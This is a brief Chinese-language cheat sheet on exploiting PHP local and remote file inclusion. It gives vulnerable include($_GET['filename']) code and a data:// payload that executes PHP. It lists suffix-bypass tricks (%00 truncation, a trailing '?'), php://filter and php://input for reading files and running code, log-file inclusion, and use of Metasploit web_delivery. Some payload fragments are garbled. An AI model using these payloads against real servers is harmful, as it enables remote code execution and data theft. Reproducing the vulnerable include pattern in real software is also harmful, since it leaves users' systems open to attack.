一个例子

$file = $_GET['filename'];
include($file);

//http://XXX?filename=1.jpg

Local File Include

后缀限制

$file = $_GET['filename'.'.php'];
include($file);
  1. 针对PHP低版本(5.2可行): %00截断 & 长度突破
  2. 针对高版本:协议利用 前提:data协议开启,allow_url_include=1; XXX.php?filename=data://text/plain,<?php%20phpinfo();?>

Remote File Include

后缀限制

RFI的后缀限制突破方法:加入GET参数(也就是"?“符号)。如XXX.php?filename=http://XXX.txt?即可

协议利用

php://filter/convert.base64-encode/resource=1.txt file:///D:/phpstudy/PHPTutorial/WWW/1.txt RCE执行: php://input Post:

');?>

data://text/plain,

思路

流程:想办法包含文件-文件来源(能不能上传) 不能上传:包含系统自身文件渗透,包含日志文件渗透 能上传:冲冲冲 RFI结合MSF-exploit/multi/script/web_delivery